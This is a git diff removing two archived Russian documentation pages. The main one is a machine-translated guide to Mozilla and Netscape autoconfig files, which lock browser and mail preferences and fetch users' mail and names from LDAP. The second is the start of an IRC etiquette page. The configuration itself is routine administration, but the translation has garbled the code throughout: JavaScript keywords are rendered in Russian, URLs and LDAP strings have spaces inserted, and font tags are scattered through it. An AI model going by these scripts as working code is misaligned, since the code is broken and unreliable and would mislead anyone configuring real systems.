- * http://www.mickweb.com/javascript/arrays/pureshuffle.html</font></font><font><font>
- * / </font></font><font><font>
- // настройка метода shuffle для массива</font></font><font><font>
- Array.prototype.shuffle = function(times) {</font></font><font><font>
- var i, j, t, l = this.length;</font></font><font><font>
- while(times--) {</font></font><font><font>
- с (Math) {</font></font><font><font>
- i = пол (random() * l);</font></font><font><font>
- j = пол (random() * l);</font></font><font><font>
- }</font></font><font><font>
- t = это[i];</font></font><font><font>
- это[i] = this[j];</font></font><font><font>
- это[j] = t;</font></font><font><font>
- }</font></font><font><font>
- верните это;</font></font><font><font>
- }</font></font><font><font>
- // смешиваем серверы LDAP, чтобы мы не попадали в один и тот же каждый раз</font></font><font><font>
- ldap_servers.shuffle(10);</font></font>
- <font><font>
-/* 3) определить здесь (потому что если установлено после «4»), ниже он не работает!) ProcessLDAPValues, который в конечном итоге вызывается getLDAPAttributes () чуть ниже,</font></font><font><font>
- проверьте код getLDAPAttributes() из $ MOZILLA_HOME /defaults/autoconfig/prefcalls.js, чтобы увидеть внутренний вызов на «user defined» processLDAPValues</font></font><font><font>
-*/</font></font><font><font>
-function processLDAPValues ​​(значения) {</font></font><font><font>
- если (значения) {</font></font><font><font>
- // устанавливаем глобальный var со значениями, возвращаемыми из запроса LDAP</font></font><font><font>
- ldap_values ​​= значения;</font></font><font><font>
- var uid = getLDAPValue(значения, "uid");</font></font><font><font>
- var cn = getLDAPValue(значения, "cn");</font></font><font><font>
- var mail = getLDAPValue(значения, «почта»);</font></font><font><font>
- // заблокируйте зависимые предпочтения переменной LDAP(mail &amp; cn), когда у нас есть доступ к ним</font></font><font><font>
- lockPref("mail.server.server1.name", mail);</font></font><font><font>
- lockPref("mail.identity.id1.fullName", cn);</font></font><font><font>
- lockPref("mail.identity.id1.useremail", mail);</font></font><font><font>
- defaultPref("network.ftp.anonymous_password", mail);</font></font>
- <font><font>
- // если $ MOZILLA_DEBUG = 1, вывести отладочное сообщение</font></font><font><font>
- if (env_mozdebug) {</font></font><font><font>
- displayError ("NO ERROR -&gt; MCI (jehan.procaccia@int-evry.fr)" + "\ nthis сообщение отображается с displayError ()! \ ndebug 1 mozilla.cfg v3.2, NO FAILED, S2IA снова!", "\ nmail:" + mail + "\ nuid:" + uid + "\ ncn:" + cn + "\ nuser:" + env_user);</font></font><font><font>
- }</font></font><font><font>
- }</font></font><font><font>
- }</font></font>
- <font><font>
-// 4) Вызовите LDAP-серверы для получения атрибутов LDAP (mail &amp; cn), это, наконец, вызовет processLDAPValues, «3» «чуть выше».</font></font><font><font>
-// Перейдите в список реплик LDAP</font></font><font><font>
-для (i = 0; i &lt;ldap_servers.length; i ++) {</font></font><font><font>
-// Поиск почты атрибута и cn через LDAP-серверы, где uid = $ USER | $ USERNAME</font></font><font><font>
- getLDAPAttributes (ldap_servers [I],</font></font><font><font>
- "НУ = люди, DC = INT-Эври, DC = пт",</font></font><font><font>
- "uid =" + env_user,</font></font><font><font>
- "UID, сп, почта");</font></font><font><font>
- // Если мы поймаем запущенный сервер LDAP, выйдите из цикла,</font></font><font><font>
- if (ldap_values) {</font></font><font><font>
- run_ldap_server = ldap_servers [i];</font></font><font><font>
- // Если $ MOZILLA_DEBUG = 1 отображается во всплывающем окне работающий сервер</font></font><font><font>
- if (env_mozdebug) {</font></font><font><font>
- displayError("getLDAPAttributes: debug 2 running_ldap_server:" + running_ldap_server);</font></font><font><font>
- }</font></font><font><font>
- ломать;</font></font><font><font>
- }</font></font><font><font>
- }</font></font>
- <font><font>
-// 5) Настройка пользовательских настроек</font></font>
- <font><font>
-// БРАУЗЕР</font></font><font><font>
-lockPref("browser.startup.homepage", "http://www.int-evry.fr/s2ia/portail/");</font></font><font><font>
-//unlockPref("browser.startup.homepage ");</font></font><font><font>
-lockPref("browser.startup.homepage_override", true);</font></font><font><font>
-lockPref("startup.homepage_override_url", "http://www.int-evry.fr/s2ia/portail/");</font></font><font><font>
-//unlockPref("startup.homepage_override_url ");</font></font><font><font>
-lockPref("browser.cache.disk.capacity", 100);</font></font><font><font>
-lockPref("network.cookie.cookieBehavior", 0);</font></font>
- <font><font>
-// Сетевые настройки</font></font><font><font>
-lockPref("network.proxy.autoconfig_url", "http://www.int-evry.fr/local/config.proxy");</font></font><font><font>
-lockPref("network.proxy.type", 2);</font></font>
- <font><font>
-// Конфиденциальность и безопасность</font></font><font><font>
-defaultPref("signon.rememberSignons", false);</font></font>
- <font><font>
-//Счет</font></font><font><font>
-lockPref("mail.account.account1.identities", "id1");</font></font><font><font>
-lockPref("mail.account.account1.server", "server1");</font></font><font><font>
-lockPref("mail.account.account2.server", "server2");</font></font><font><font>
-lockPref("mail.account.account3.server", "server3");</font></font><font><font>
-lockPref("mail.accountmanager.accounts", "account1, account2, account3");</font></font><font><font>
-lockPref("mail.accountmanager.defaultaccount", "account1");</font></font>
- <font><font>
-// IMAP</font></font><font><font>
-lockPref("mail.server.server1.hostname", "imap-int.int-evry.fr");</font></font><font><font>
-lockPref("mail.server.server1.type", "imap");</font></font><font><font>
-lockPref("mail.server.server1.login_at_startup", true);</font></font><font><font>
-lockPref("mail.identity.id1.draft_folder", "imap: //" + env_user + "@ imap-int.int-evry.fr / Drafts");</font></font><font><font>
-lockPref("mail.identity.id1.drafts_folder_picker_mode", "0");</font></font><font><font>
-lockPref("mail.identity.id1.fcc_folder", "imap: //" + env_user + "@ imap-int.int-evry.fr / Sent");</font></font><font><font>
-lockPref("mail.identity.id1.fcc_folder_picker_mode", "0");</font></font><font><font>
-lockPref("mail.identity.id1.stationery_folder", "imap: //" + env_user + "@ imap-int.int-evry.fr / Шаблоны");</font></font><font><font>
-lockPref("mail.identity.id1.tmpl_folder_picker_mode", "0");</font></font><font><font>
-lockPref("mail.identity.id1.valid", true);</font></font><font><font>
-lockPref("mail.identity.id1.overrideGlobal_Pref", true);</font></font><font><font>
-lockPref("mail.server.server1.download_on_biff", true);</font></font><font><font>
-lockPref("mail.server.server1.login_at_startup", true);</font></font><font><font>
-lockPref("mail.server.server1.userName", env_user);</font></font><font><font>
-lockPref("mail.server.server1.delete_model", 0);</font></font>
- <font><font>
-// SMTP</font></font><font><font>
-defaultPref("mail.identity.id1.smtpServer", "smtp1");</font></font><font><font>
-defaultPref("mail.smtpserver.smtp1.auth_method", 0);</font></font><font><font>
-defaultPref("mail.smtpservers", "smtp1");</font></font><font><font>
-defaultPref("mail.smtpservers", "smtp1");</font></font><font><font>
-defaultPref("mail.smtp.defaultserver", "smtp1");</font></font><font><font>
-defaultPref("mail.smtpserver.smtp1.hostname", "smtp-int.int-evry.fr");</font></font><font><font>
-lockPref("mail.identity.id1.organization", "INT Evry France");</font></font><font><font>
-lockPref("mail.startup.enabledMailCheckOnce", true);</font></font><font><font>
-lockPref("mail.ui.folderpane.version", 3);</font></font><font><font>
-lockPref("mailnews.ui.threadpane.version", 2);</font></font>
- <font><font>
-// Конфигурация LDAP</font></font><font><font>
-lockPref("mail.identity.id1.directoryServer", "ldap_2.servers.ldapint");</font></font><font><font>
-lockPref("ldap_2.prefs_migrated", true);</font></font><font><font>
-lockPref("ldap_2.servers.history.filename", "history.mab");</font></font><font><font>
-lockPref("ldap_2.servers.history.replication.lastChangeNumber", 0);</font></font><font><font>
-lockPref("ldap_2.servers.ldapint.auth.savePassword", true);</font></font><font><font>
-lockPref("ldap_2.servers.ldapint.description", "ldap-int");</font></font><font><font>
-lockPref("ldap_2.servers.ldapint.filename", "abook-1.mab");</font></font><font><font>
-lockPref("ldap_2.servers.ldapint.position", 3);</font></font><font><font>
-lockPref("ldap_2.servers.ldapint.uri", "ldap: //ldap1.int-evry.fr: 389 / ou = people, dc = int-evry, dc = fr ?? sub");</font></font><font><font>
-lockPref("ldap_2.servers.pab.filename", "abook.mab");</font></font><font><font>
-lockPref("ldap_2.servers.pab.replication.lastChangeNumber", 0);</font></font>
- <font><font>
-// Конфигурация новостей</font></font><font><font>
-lockPref("mail.server.server3.hostname", "news.int-evry.fr");</font></font><font><font>
-lockPref("mail.server.server3.max_cached_connections", 2);</font></font><font><font>
-lockPref("mail.server.server3.name", "news.int-evry.fr");</font></font><font><font>
-lockPref("mail.server.server3.type", "nntp");</font></font><font><font>
-lockPref("mail.server.server3.userName", env_user);</font></font>
- <font><font>
-// Закройте попытку и вызовите catch()</font></font><font><font>
-} catch(e) {</font></font><font><font>
- displayError("lockedPref", e);</font></font><font><font>
-}</font></font>
-</pre>
-
-<h4 id="For_The_Record.2C_Old_Reliably_Scripts..." name="For_The_Record.2C_Old_Reliably_Scripts..."><font><font>Для записи, старые надежные скрипты ...</font></font></h4>
-
-<p><font><font>По крайней мере, протестирован на Netscape 4.x.</font></font></p>
-
-<p><font><font>В исходных файлах ниже (в разделе Netscape 4.x) мы жестко закодировали один веб-сервер для извлечения файла предпочтений JavaScript и одного жестко запрограммированного LDAP-сервера для получения </font></font><code>mail</code><font><font>и </font></font><code>cn</code><font><font>атрибутов. </font><font>Было бы безопаснее получать вторичные серверы в случае сбоя. </font><font>Для имени веб-сервера мы можем использовать запрос LDAP для получения списка возможных. </font><font>Следовательно, нам не придется повторно кодировать </font></font><code>netscape.cfg</code><font><font>файл при каждом изменении. </font><font>Мы устанавливаем </font></font><code>netscape.cfg</code><font><font>файл только один раз при работе с компьютерами с операционной системой, тогда любые изменения происходят в LDAP или в файле настроек JavaScript веб-сервера (центральная конфигурация).</font></font></p>
-
-<h5 id="Enhance_netscape.cfg" name="Enhance_netscape.cfg"><font><font>Улучшить netscape.cfg</font></font></h5>
-
-<p><font><font>Список возможных веб-серверов для запроса определяется в </font></font><code>netscape.cfg</code><font><font>. </font><font>Здесь также определяются имена файлов предпочтений JavaScript, поэтому </font></font><code>netscape.cfg</code><font><font>их не нужно менять после визуализации компьютеров при каждом изменении, которое нам нужно сделать.</font></font></p>
-
-<h5 id="LDAP_Web_Server_List_Subtree" name="LDAP_Web_Server_List_Subtree"><font><font>Подтип списка веб-сервера LDAP</font></font></h5>
-
-<pre><font><font>$ ldapsearch -x * -b "ou = браузер, ou = информация, dc = int-evry, dc = fr" cn -LLL</font></font><font><font>
-dn: ou = браузер, ou = информация, dc = int-evry, dc = fr</font></font>
-<font><font>
-dn: sn = http_server, ou = браузер, ou = информация, dc = int-evry, dc = fr</font></font><font><font>
-cn: web1.int-evry.fr</font></font><font><font>
-cn: web2.int-evry.fr</font></font>
-<font><font>
-dn: sn = http_unix_file, ou = браузер, ou = информация, dc = int-evry, dc = fr</font></font><font><font>
-cn: /browser/config_file_unix.jsc</font></font>
-<font><font>
-dn: sn = http_win_file, ou = браузер, ou = информация, dc = int-evry, dc = fr</font></font><font><font>
-cn: /browser/config_file_win.jsc</font></font>
-</pre>
-
-<h5 id="netscape.cfg" name="netscape.cfg"><font><font>netscape.cfg</font></font></h5>
-
-<p><font><font>Здесь мы выбираем операционный сервер LDAP просто путем тестирования LDAP-запроса, чтобы убедиться, что на наши запросы LDAP для настройки предпочтений будет дан ответ. </font><font>{Опять же, я не говорю о JavaScript. </font><font>Должен быть лучший способ убедиться, что сервер LDAP запущен и работает. </font><font>Что касается проверки веб-сервера, не стесняйтесь оптимизировать этот код и дайте мне знать ...)</font></font></p>
-
-<pre><font><font>if (getLDAPAttributes("ldap1.int-evry.fr", \</font></font><font><font>
- "ou = браузер, ou = информация, dc = int-evry, dc = fr", \</font></font><font><font>
- "sn = http_server", "cn"))</font></font><font><font>
- var running_ldap_server = "ldap1.int-evry.fr";</font></font><font><font>
- else if (getLDAPAttributes("ldap2.int-evry.fr", \</font></font><font><font>
- "ou = браузер, ou = информация, dc = int-evry, dc = fr", \</font></font><font><font>
- "sn = http_server", "cn"))</font></font><font><font>
- var running_ldap_server = "ldap2.int-evry.fr";</font></font><font><font>
- else if (getLDAPAttributes("ldap0.int-evry.fr", \</font></font><font><font>
- "ou = браузер, ou = информация, dc = int-evry, dc = fr", \</font></font><font><font>
- "sn = http_server", "cn"))</font></font><font><font>
- var running_ldap_server = "ldap0.int-evry.fr";</font></font><font><font>
- else alert(«Нет сервера LDAP!»);</font></font>
-</pre>
-
-<p><font><font>Вот полный пример файла Unix netscape.cfg.</font></font></p>
-
-<pre><font><font>с (PrefConfig) {// Должен быть выполнен внутри модуля PrefConfig</font></font>
-<font><font>
-// создаем некоторые переменные, которые мы, возможно, захотим использовать позже ...</font></font><font><font>
-var env_user = getenv("ПОЛЬЗОВАТЕЛЬ"); </font><font>// Имя пользователя Windows</font></font><font><font>
-var env_home = getenv("HOME"); </font><font>// Пользователь HomeDir</font></font><font><font>
-var env_mozilla_home = getenv("MOZILLA_HOME");</font></font><font><font>
-var env_mozdebug = getenv("MOZILLA_DEBUG");</font></font>
-<font><font>
-// проверяем, какой сервер LDAP работает (требуется более совершенная процедура!)</font></font>
-<font><font>
-if (getLDAPAttributes ("ldap1.int-evry.fr", \</font></font><font><font>
- "ou = браузер, ou = информация, dc = int-evry, dc = fr", \</font></font><font><font>
- "sn = http_server", "cn"))</font></font><font><font>
- var running_ldap_server = "ldap1.int-evry.fr";</font></font><font><font>
- else if (getLDAPAttributes("ldap2.int-evry.fr", \</font></font><font><font>
- "ou = браузер, ou = информация, dc = int-evry, dc = fr", \</font></font><font><font>
- "sn = http_server", "cn"))</font></font><font><font>
- var running_ldap_server = "ldap2.int-evry.fr";</font></font><font><font>
- else if (getLDAPAttributes("ldap0.int-evry.fr", \</font></font><font><font>
- "ou = браузер, ou = информация, dc = int-evry, dc = fr", \</font></font><font><font>
- "sn = http_server", "cn"))</font></font><font><font>
- var running_ldap_server = "ldap0.int-evry.fr";</font></font><font><font>
- else alert(«Нет сервера LDAP!»);</font></font>
-<font><font>
-if (running_ldap_server) { </font></font><font><font>
-var ldap_http_server_values ​​= getLDAPAttributes (running_ldap_server, \</font></font><font><font>
-«ou = браузер, ou = информация, dc = int-evry, dc = fr», «sn = http_server», «cn»);</font></font><font><font>
-var ldap_http_server = getLDAPValue (ldap_http_server_values, "cn");</font></font><font><font>
-var ldap_http_unix_uri_values ​​= getLDAPAttributes (running_ldap_server, \</font></font><font><font>
-«ou = браузер, ou = информация, dc = int-evry, dc = fr», «sn = http_unix_file», «cn»);</font></font><font><font>
-var ldap_http_unix_uri = getLDAPValue (ldap_http_unix_uri_values, "cn");</font></font><font><font>
-var values ​​= getLDAPAttributes (run_ldap_server, \</font></font><font><font>
-«ou = people, dc = int-evry, dc = fr», «uid =» + env_user, «cn, mail»);</font></font><font><font>
-var ldap_email = getLDAPValue (значения, «почта»);</font></font><font><font>
-var ldap_gecos = getLDAPValue (значения, "cn");</font></font><font><font>
-env_user = env_user.toLowerCase ();</font></font><font><font>
-}</font></font><font><font>
-еще</font></font><font><font>
- alert(«Нет сервера LDAP, AutoConfig невозможно!»);</font></font>
-<font><font>
-// всплывающее отладочное сообщение, если экспортировано MOZILLA_DEBUG = 1 </font></font><font><font>
-if (env_mozdebug) {</font></font><font><font>
- alert("MOZILLA_DEBUG\nrunning LDAP server:" + run_ldap_server);</font></font><font><font>
- alert("MOZILLA_DEBUG\nExecuting" + ldap_http_server + \</font></font><font><font>
- ldap_http_unix_uri);</font></font><font><font>
- alert("MOZILLA_DEBUG\nfetching http://" + ldap_http_server \</font></font><font><font>
- + ldap_http_unix_uri + "");</font></font><font><font>
-}</font></font>
-<font><font>
-// отправляем файл предпочтений на HTTP-сервере </font></font><font><font>
-// нужен способ проверить, работает ли HTTP-сервер!</font></font>
-<font><font>
-конфигурации (</font></font><font><font>
-"autoadmin.global_config_url", "http: //" + ldap_http_server + \</font></font><font><font>
-ldap_http_unix_uri + ""</font></font><font><font>
-);</font></font>
-<font><font>
-// Поскольку мы используем файл, если он недоступен,</font></font><font><font>
-// ужасно неправильно в любом случае</font></font><font><font>
-конфигурации (</font></font><font><font>
-"autoadmin.failover_to_cached", false</font></font><font><font>
-);</font></font>
-<font><font>
-// не использовать? useremail = email-addr для запроса URL-адреса CGI</font></font><font><font>
-конфигурации (</font></font><font><font>
-"autoadmin.append_emailaddr", false</font></font><font><font>
-);</font></font>
-<font><font>
-} // с (PrefConfig)</font></font>
-</pre>
-
-<p><font><font>Для версии Windows этого </font></font><code>netscape.cfg</code><font><font>файла мы заменяем </font></font><code>"sn=http_unix_file"</code><font><font>его </font></font><code>"sn=http_win_file"</code><font><font>в запросе LDAP.</font></font></p>
-
-<h3 id="OLD_Netscape_4.x" name="OLD_Netscape_4.x"><font><font>OLD Netscape 4.x</font></font></h3>
-
-<h4 id="Call_File.2C_netscape.cfg" name="Call_File.2C_netscape.cfg"><font><font>Файл вызова, netscape.cfg</font></font></h4>
-
-<p><font><font>В следующем примере этот файл является файлом «вызова», поскольку он фактически будет использоваться для перенаправления вызова на еще более централизованный файл, который будет расположен на веб-сервере. </font><font>Это позволяет нам сначала кодировать (байтовый сдвиг) этот файл ( </font></font><code>netscape.cfg</code><font><font>) - только один раз, потому что он вызовет некодированный файл JavaScript </font></font><code>config_file_system.jsc</code><font><font>(или другое имя) на веб-сервере.</font></font></p>
-
-<p><font><font>Во-вторых, поскольку этот последний файл JavaScript находится на веб-сервере, нет необходимости переписывать его на каждой станции при каждом изменении! </font><font>Эта функция доступна через </font></font><code>autoadmin.global_config_url</code><font><font>директиву, </font><font>например, например. </font><font>К сожалению, я не могу запустить эту действительно полезную директиву с Netscape 6/7 или Mozilla 1.x :-( (если кто знает, как, пожалуйста, дайте мне знать!)</font></font><code>config("autoadmin.global_config_url","<span class="nowiki">http://www/browser/config-file-system.jsc</span>"),</code></p>
-
-<p><font><font>В Windows, в котором закодированный </font></font><code>netscape.cfg</code><font><font>файл находится в </font></font><code>NETSCAPE_HOME\Communicator\Program</code><font><font>( </font></font><code>C:\Program Files\netscape\Communicator\Programs</code><font><font>), в Red Hat 7.3 он находится </font></font><code>/usr/lib/X11/app-defaults</code><font><font>. </font><font>Помните, что в Windows этот файл уже существует, поэтому он должен быть сохранен перед заменой нашим, чтобы вернуться в нормальное состояние в случае возникновения проблемы. </font><font>Если нет ни оригинального, ни персонализированного netscape.cfg, Netscape не запустится!</font></font></p>
-
-<pre><font><font>// Этот файл не используется в его нынешнем виде. </font><font>он должен быть закодирован</font></font><font><font>
-// с функцией «convert» меню CCK «файл»</font></font><font><font>
-// Конфигурация предпочтений Netscape:</font></font><font><font>
-// настраивать значения по умолчанию из внутреннего файла JavaScript в исполняемом файле ns</font></font><font><font>
-// глобальные prefs из netscape.cfg (этот файл)</font></font><font><font>
-// выполняет файл ~/.netscape/preferences.js</font></font><font><font>
-// выполняет ~/.netscape/user.js</font></font><font><font>
-// (где-то здесь работает liprefs.js, но я еще не понял</font></font><font><font>
-// то, что для губ.)</font></font><font><font>
-// ================================================ =========================</font></font>
-<font><font>
-с (PrefConfig) {// Должен быть выполнен внутри модуля PrefConfig</font></font>
-<font><font>
-// создаем некоторые переменные, которые мы, возможно, захотим использовать позже ...</font></font><font><font>
-var platform = getPlatform(); </font><font>// EG SunOS4.1.3_U1</font></font><font><font>
-var env_user = getenv("ПОЛЬЗОВАТЕЛЬ"); </font><font>// Unix имя пользователя</font></font><font><font>
-var env_home = getenv("HOME"); </font><font>// Пользователь HomeDir</font></font><font><font>
-var env_display = getenv("DISPLAY"); </font><font>// X11 Дисплей</font></font><font><font>
-var env_editor = getenv("РЕДАКЦИЯ"); </font><font>// использовать в редактировании почты?</font></font><font><font>
-var env_visual = getenv("VISUAL"); </font><font>// использовать в редактировании почты?</font></font><font><font>
-var env_mozilla_home = getenv("MOZILLA_HOME")</font></font><font><font>
-var env_mozdebug = getenv("MOZILLA_DEBUG")</font></font><font><font>
-// Для удобства обновления ... Мы используем операцию AutoAdmin для перенаправления</font></font><font><font>
-// netscape.cfg, чтобы прочитать файл «config-file-unix.jsc» с открытым текстом.</font></font><font><font>
-// Любые изменения</font></font><font><font>
-// теперь можно сделать здесь без повторного кодирования файла netscape.jsc для</font></font><font><font>
-// netscape.cfg.</font></font><font><font>
-конфигурации (</font></font><font><font>
-"autoadmin.global_config_url", \</font></font><font><font>
-"Http://lugdunum.int-evry.fr/browser/config-file-unix.jsc"</font></font><font><font>
-);</font></font><font><font>
-// Как часто (в минутах) обновлять</font></font><font><font>
-// Каждые 6 часов кажется хорошим интервалом, чтобы держать хозяев, которые никогда не</font></font><font><font>
-// выходим из Netscape, обновляем текущие изменения.</font></font><font><font>
-конфигурации (</font></font><font><font>
-"autoadmin.refresh_interval", 360</font></font><font><font>
-);</font></font><font><font>
-// Поскольку мы используем файл, если он недоступен,</font></font><font><font>
-// ужасно неправильно в любом случае</font></font><font><font>
-конфигурации (</font></font><font><font>
-"autoadmin.failover_to_cached", false</font></font><font><font>
-);</font></font><font><font>
-// не использовать? useremail = email-addr для запроса URL-адреса cgi</font></font><font><font>
-конфигурации (</font></font><font><font>
-"autoadmin.append_emailaddr", false</font></font><font><font>
-);</font></font>
-</pre>
-
-<h4 id="LockPref_Configuration_File" name="LockPref_Configuration_File"><font><font>Файл конфигурации LockPref</font></font></h4>
-
-<p><font><font>Этот файл (на веб-сервере:) </font></font><code><span class="nowiki">http://www/browser/config-file-system.jsc</span></code><font><font>- это место, где мы устанавливаем и блокируем Preferences. </font><font>Поскольку компьютеры являются общими, нам нужно персонализировать настройки на основе входа пользователя. </font><font>Логин берется из переменной среды: </font></font><code>USER</code><font><font>в Unix,</font></font><code>USERNAME</code><font><font>в Windows. </font><font>Различные имена среды и разные пути между Windows и Unix объясняют, почему нам нужны два разных файла конфигурации. </font><font>Возможно, есть способ управлять этими различиями внутри одного и того же файла, но я не очень свободно говорю с JavaScript :-(</font></font></p>
-
-<p><font><font>Ниже приведен пример </font></font><code>lockPref</code><font><font>файла конфигурации предпочтений для Unix ( </font></font><code>config_file_unix.jsc</code><font><font>). </font><font>Мы блокируем ( </font></font><code>lockPref</code><font><font>) некоторые настройки (имя сервера IMAP, название компании, расположение и размер кэша ...), другие могут быть просто установлены как default ( </font></font><code>defaultPref</code><font><font>); </font></font><code>startup.homepage</code><font><font>... Мы также используем функции LDAP (from </font></font><code>prefcalls.js</code><font><font>), чтобы получить текущий ( </font></font><code>USER</code><font><font>или </font></font><code>USERNAME</code><font><font>) адрес электронной почты и общее имя, соответственно, </font></font><code>mail</code><font><font>и </font></font><code>cn</code><font><font>в LDAP.</font></font></p>
-
-<pre><font><font>[root @ lugdunum /var/www/html/browser]</font></font><font><font>
-$ more config_file_unix.jsc</font></font><font><font>
-// Функции, которые вы можете использовать:</font></font><font><font>
-// lockPref(имя, значение) пользователь не разрешается изменять</font></font><font><font>
-// (aka lock_pref())</font></font><font><font>
-// defaultPref (имя, значение), если пользователь не переопределяет, это значение</font></font><font><font>
-// (aka default_pref())</font></font><font><font>
-// unlockPref (name) разблокирует ранее имя «lockPref»</font></font><font><font>
-// config(имя, значение) обычно для меню ...</font></font><font><font>
-// value = getPref(name) получает текущую настройку</font></font><font><font>
-// getLDAPAttributes (хост, база, фильтр, атрибуты)</font></font><font><font>
-// getLDAPValue (значения, атрибут)</font></font><font><font>
-// .mime.type, .begin_mime_def, .end_mime_def ..</font></font><font><font>
-// .plat</font></font><font><font>
-// alert(сообщение);</font></font><font><font>
-// var = prompt(message);</font></font><font><font>
-// var = getPlatform () возвращает Win32, ...</font></font><font><font>
-// getPlatform() содержит ("UNIX") ...</font></font><font><font>
-// var = getenv(envvar)</font></font><font><font>
-// var = putenv(envvar)</font></font><font><font>
-//</font></font><font><font>
-// Объекты / функции, которые вы * не можете использовать, потому что они не определены</font></font><font><font>
-// навигатор. * (argh, это * ДЕЙСТВИТЕЛЬНО * укусы)</font></font><font><font>
-// ================================================ =========================</font></font><font><font>
-// Конфигурация настроек</font></font><font><font>
-// ================================================ =========================</font></font><font><font>
-с (PrefConfig) {</font></font><font><font>
-var values ​​= getLDAPAttributes ("ldap2.int-evry.fr", \</font></font><font><font>
-«ou = people, dc = int-evry, dc = fr», «uid =» + env_user, «cn, mail»);</font></font><font><font>
-var ldap_email = getLDAPValue (значения, «почта»);</font></font><font><font>
-var ldap_gecos = getLDAPValue (значения, "cn");</font></font><font><font>
-// var toto = prompt ("email");</font></font><font><font>
-// alert ("ldap_mail =" + ldap_email + "toto =" + toto);</font></font><font><font>
-if (env_mozdebug) {</font></font><font><font>
- alert("env_user:" + env_user + "\nenv_home:" + env_home + \</font></font><font><font>
-"\nldap_email:" + ldap_email + "\nldap_gecos:" + ldap_gecos + "\ n");</font></font><font><font>
-}</font></font><font><font>
-// ------------------------------------------------ -----------------------</font></font><font><font>
-// [Общая настройка браузера]</font></font><font><font>
-// ------------------------------------------------ -----------------------</font></font><font><font>
-config("autoadmin.refresh_interval", 1440); </font><font>// автоматическое обновление каждые 24 часа</font></font><font><font>
-defaultPref( "browser.startup.page", 1); </font></font><font><font>
-// 0 = пустая страница, 1 = домашняя страница, 2 = последний посетитель</font></font><font><font>
-defaultPref("browser.startup.homepage", "http://www/mci/mode-d-emploi.shtml");</font></font><font><font>
-lockPref("browser.cache.directory", "/ tmp");</font></font><font><font>
-lockPref("browser.cache.memory_cache_size", 0);</font></font>
-<font><font>
-lockPref( "mail.server_type", 1); </font><font>// POP = 0 IMAP = 1</font></font><font><font>
-lockPref("network.hosts.imap_servers", "pop-int");
-lockPref( "mail.imap.server.pop-int.using_subscription", </font></font><code>true</code><font><font>);
-lockPref("mail.imap.server.pop-int.userName", env_user);</font></font><font><font>
-lockPref("mail.identity.useremail", ldap_email);</font></font><font><font>
-lockPref("mail.identity.username", ldap_gecos);</font></font><font><font>
-lockPref("mail.check_new_mail", false);</font></font><font><font>
-lockPref("mail.directory", env_home + "/nsmail");</font></font><font><font>
-lockPref("mail.identity.defaultdomain", "int-evry.fr");</font></font><font><font>
-lockPref("mail.identity.organization", "INT Evry Essonne");</font></font>
-<font><font>
-// LDAP</font></font><font><font>
-lockPref("ldap_2.autoComplete.useDirectory", true);</font></font><font><font>
-lockPref("ldap_2.servers.LDAPINT.autoComplete.enabled", true);</font></font><font><font>
-lockPref("ldap_2.servers.LDAPINT.csid", "UTF-8");</font></font><font><font>
-lockPref("ldap_2.servers.LDAPINT.description", "LDAP INT");</font></font><font><font>
-lockPref("ldap_2.servers.LDAPINT.filename", "LDAPINT.na2");</font></font><font><font>
-lockPref("ldap_2.servers.LDAPINT.position", 2);</font></font><font><font>
-lockPref("ldap_2.servers.LDAPINT.searchBase", "ou = people, dc = int-evry, dc = fr");</font></font><font><font>
-lockPref("ldap_2.servers.LDAPINT.serverName", "ldap1.int-evry.fr");</font></font>
-<font><font>
-//Новости</font></font><font><font>
-lockPref("news.directory", "/tmp");</font></font><font><font>
-// прокси</font></font><font><font>
-lockPref("network.proxy.autoconfig_url", \</font></font><font><font>
-"Http://www.int-evry.fr/local/config.proxy");</font></font>
-<font><font>
-} // с (PrefConfig)</font></font>
-</pre>
-
-<p><font><font>Этот документ был первоначально переведен из LaTeX с помощью </font></font><a href="http://pauillac.inria.fr/~maranget/hevea/"><font><font>HEVEA</font></font></a><font><font> .</font></font></p>
-
-<p><font><font>«автор»: «Jehan Procaccia MCI INT-EVRY- jehan.procaccia AT int-evry.fr»</font></font></p>
-
-<p><font><font>«дата создания»: «02 сентября 2006 года» </font></font></p>
diff --git a/files/ru/archive/mozilla/getting_started_with_irc/index.html b/files/ru/archive/mozilla/getting_started_with_irc/index.html
deleted file mode 100644
index da73111af2..0000000000
--- a/files/ru/archive/mozilla/getting_started_with_irc/index.html
+++ /dev/null
@@ -1,315 +0,0 @@
----
-title: Начало работы с IRC
-slug: Archive/Mozilla/Getting_Started_with_IRC
-tags:
- - QA
- - irc
-translation_of: Archive/Mozilla/Getting_started_with_chat
----
-<h2 class="western" id="Что_такое_IRC" style="font-style: normal;">Что такое IRC?</h2>
-
-<p>IRC (Internet Relay Chat) — способ обмена текстовыми сообщениями в реальном времени сразу между многими пользователями. Пользователи подключаются к серверу ипользуя IRC-клиент, и заходят на каналы (в чаты). Пользователи вводят сообщения, которые рассылаются всем другим пользователям на канале. IRC также позволяет подключённым пользователям общаться один-на-один. IRC — основная форма общения между членами сообщества Mozilla (программистами, тестировщикамию пользователями и т. п.).</p>
-
-<h2 class="western" id="Общие_правила_и_этикет" style="font-style: normal;"><span style="text-decoration: none;">Общие правила и этикет</span></h2>
-
-<p style="margin-bottom: 0in; font-weight: normal;"><span style="font-style: normal;"><span style="text-decoration: none;">Если Ваш клиент уже настроен и подключен к IRC, вот несколько простых правил, следование которым сделает ваш опыт использования IRC приятным и продуктивным.</span></span></p>
-
-<p style="margin-bottom: 0in; font-weight: normal;"> </p>
-
-<p style="margin-bottom: 0in; padding-left: 30px;">1. Старайтесь выражаться кратко. Если вам надо отправить что-нибудь длинное, например кусок кода, вставьте это на <a href="http://pastebin.mozilla.org/">pastebin.mozilla.org</a>, а в IRC отправьте полученный URL.</p>
-
-<p style="margin-bottom: 0in; padding-left: 30px;">2. Обращаясь к конкретному человеку, старайтесь использовать форму «Имя: сообщение». Например: «ashughes: good morning!»</p>
-
-<p style="margin-bottom: 0in; padding-left: 30px;">3. У каждого канала есть своя тема. Старайтесь её придерживаться. Например, не обсуждайте проблемы с Thunderbird на #Firefox.</p>
-
-<p style="margin-bottom: 0in; padding-left: 30px;">4. IRC-каналы Mozilla наиболее активны с понедельника по пятницу с 9 утра по 7 вечера по тихоокеанскому времени, за исключением <a href="http://www.opm.gov/Operating_Status_Schedules/fedhol/2009.asp">праздничных дней в США</a>.</p>
-
-<p style="margin-bottom: 0in; padding-left: 30px;">5. Задав вопрос, будьте терпеливы. Ответить могут через несколько минут.</p>
-
